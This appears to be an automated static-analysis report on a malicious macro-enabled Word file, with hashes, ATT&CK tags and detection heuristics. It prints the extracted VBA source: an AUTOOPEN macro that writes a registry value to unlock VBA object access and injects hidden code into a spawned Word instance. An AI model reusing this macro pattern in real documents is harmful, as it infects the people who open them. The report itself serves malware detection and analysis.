Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 35a3c83bac167c7d…

MALICIOUS

Office (OOXML)

46.3 KB Created: 2021-05-10 09:10:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-26
MD5: e73ac679e24f184b4669a185ad9a4462 SHA-1: 73e585e0c3b664d71f026fbf4fbe16c369daacfd SHA-256: 35a3c83bac167c7d4e94f347665f48f783417ab2d18a943750cdc49e7fcc04c1
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is an OOXML document containing VBA macros. The AUTOOPEN macro triggers the execution of code that uses WScript.Shell and CreateObject to interact with the system. Specifically, it appears to be constructing a registry path for persistence or configuration: "HKEY\CURRENT_USER\Software\Microsoft\Office\Word\Security\Accessibility\Access1OM". The script's intent is to download and execute a second-stage payload, indicated by the use of Shell() and WScript.Shell.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub linkRightVariable()
With CreateObject("wscript.shell")
.RegWrite listboxIteratorRight & rightIndexPaste & leftConst, 1, "REG_D" & UCase(constLib)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub sizeScreenBorder(genericTrust As String)
Set deleteArrayFunc = CreateObject("word.application")
With deleteArrayFunc.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AUTOOPEN()
memoryEx
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2179 bytes
SHA-256: 232d3eaa47e3052b27c4867162290b2bfd284153ea259025b2f4871e39fce18b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{2E52787A-C755-4738-B9D3-420334D13AAA}{420243AA-1A69-4159-BA02-CCFF4C796C93}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "listboxDatabaseCopy"
Function procOptionCollection()
procOptionCollection = UCase("_current_")
End Function
Function localStruct()
localStruct = Trim("ware\Microsoft\Off")
End Function
Sub AUTOOPEN()
memoryEx
Dim WConvertVariable As String
WConvertVariable = borderOption
sizeScreenBorder WConvertVariable
End Sub

Attribute VB_Name = "textArgumentTitle"
Sub sizeScreenBorder(genericTrust As String)
Set deleteArrayFunc = CreateObject("word.application")
With deleteArrayFunc.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString genericTrust
End With
deleteArrayFunc.Visible = False
deleteArrayFunc.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "removeProcedure"
Function listboxIteratorRight()
listboxIteratorRight = "HKEY" & procOptionCollection & "USER\Soft" & localStruct & "ice\"
End Function
Function leftConst()
leftConst = "\Word\Secur" & memoryDeleteText
End Function
Function memoryDeleteText()
memoryDeleteText = Replace("1", "VB", "ity\Access1OM")
End Function
Sub memoryEx()
linkRightVariable
End Sub

Attribute VB_Name = "libMemoryScreen"
Function rightIndexPaste()
rightIndexPaste = Application.Version
End Function
Function constLib()
constLib = "word"
End Function
Sub linkRightVariable()
With CreateObject("wscript.shell")
.RegWrite listboxIteratorRight & rightIndexPaste & leftConst, 1, "REG_D" & UCase(constLib)
End With
End Sub
Function borderOption()
borderOption = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26112 bytes
SHA-256: 7f4b72666f2f9be9c7f92eadaafe8f25ad50cfc135011aee41d2c7d4f5187f93

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